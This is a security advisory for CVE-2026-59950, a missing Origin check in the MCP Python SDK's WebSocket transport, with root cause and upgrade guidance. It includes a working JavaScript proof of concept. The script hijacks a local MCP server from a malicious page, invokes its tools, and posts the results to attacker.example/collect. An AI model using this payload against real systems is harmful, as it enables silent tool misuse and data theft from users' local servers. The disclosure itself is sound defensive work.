highCVE-2026-59950Jul 16, 2026

CVE-2026-59950: mcp WebSocket Transport Missing Origin Validation

Rohit Hatagale
AI Security Researcher, SecureLayer7

The deprecated WebSocket server transport in the MCP Python SDK accepted connections from any web origin without checking Host or Origin headers, letting a malicious web page silently call tools on a

Packagemcp
Ecosystempip
Affected< 1.28.1
Fixed in1.28.1

The problem

mcp versions before 1.28.1 shipped a `websocket_server()` transport that called Starlette's `websocket.accept(subprotocol="mcp")` immediately on every incoming upgrade request. No Host or Origin headers were inspected.

The `TransportSecuritySettings` and `TransportSecurityMiddleware` validation that the SSE and Streamable HTTP transports used was never wired into this code path. Any web page the victim visits can therefore open a WebSocket to the server, complete the MCP `initialize` handshake, and invoke tools or read resources without any token or prior session.

Proof of concept

A working proof-of-concept for CVE-2026-59950 in mcp, with the exact payload below.

javascript
<!-- Malicious page hosted on https://attacker.example -->
<script>
const ws = new WebSocket('ws://localhost:8765', ['mcp']);

ws.onopen = () => {
  // Step 1: initialize the MCP session
  ws.send(JSON.stringify({
    jsonrpc: '2.0',
    id: 1,
    method: 'initialize',
    params: {
      protocolVersion: '2024-11-05',
      clientInfo: { name: 'evil', version: '1.0' },
      capabilities: {}
    }
  }));
};

ws.onmessage = (evt) => {
  const msg = JSON.parse(evt.data);
  if (msg.id === 1) {
    // Step 2: list available tools
    ws.send(JSON.stringify({
      jsonrpc: '2.0',
      id: 2,
      method: 'tools/list',
      params: {}
    }));
  }
  if (msg.id === 2) {
    // Step 3: call whatever tool is exposed
    const tool = msg.result.tools[0];
    ws.send(JSON.stringify({
      jsonrpc: '2.0',
      id: 3,
      method: 'tools/call',
      params: { name: tool.name, arguments: {} }
    }));
  }
  if (msg.id === 3) {
    // exfiltrate result
    fetch('https://attacker.example/collect', {
      method: 'POST',
      body: JSON.stringify(msg.result)
    });
    ws.close();
  }
};
</script>

The root cause (CWE-346, CWE-1385) is that `websocket_server()` accepted the WebSocket handshake unconditionally. Browsers always attach an `Origin` header on cross-origin WebSocket upgrades, but they do not enforce a same-origin policy on the server's response, so the upgrade completes regardless of where the requesting page is hosted.

The patch in commit 777b8d0 (PR #2992) adds a `security_settings: TransportSecuritySettings | None = None` parameter to `websocket_server()` and calls `TransportSecurityMiddleware.validate_request()` against the `Host` and `Origin` headers before any `accept()` call.

A failing validation now closes the connection with HTTP 403 and raises `ValueError("Request validation failed")`. Note that `security_settings` defaults to `None`, so the protection is opt-in: callers must pass an explicit `TransportSecuritySettings` object to benefit.

The fix

Upgrade to mcp 1.28.1 or later (`pip install mcp>=1.28.1`). Upgrading alone does not enable validation because `security_settings` defaults to `None`. Pass an explicit `TransportSecuritySettings(enable_dns_rebinding_protection=True, allowed_hosts=["localhost"], allowed_origins=["https://yourapp.example"])` when constructing the transport.

The preferred long-term fix is to migrate off `websocket_server` entirely: use Streamable HTTP via `FastMCP`, which enables this protection automatically for localhost binds. The WebSocket transport is removed entirely in v2.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research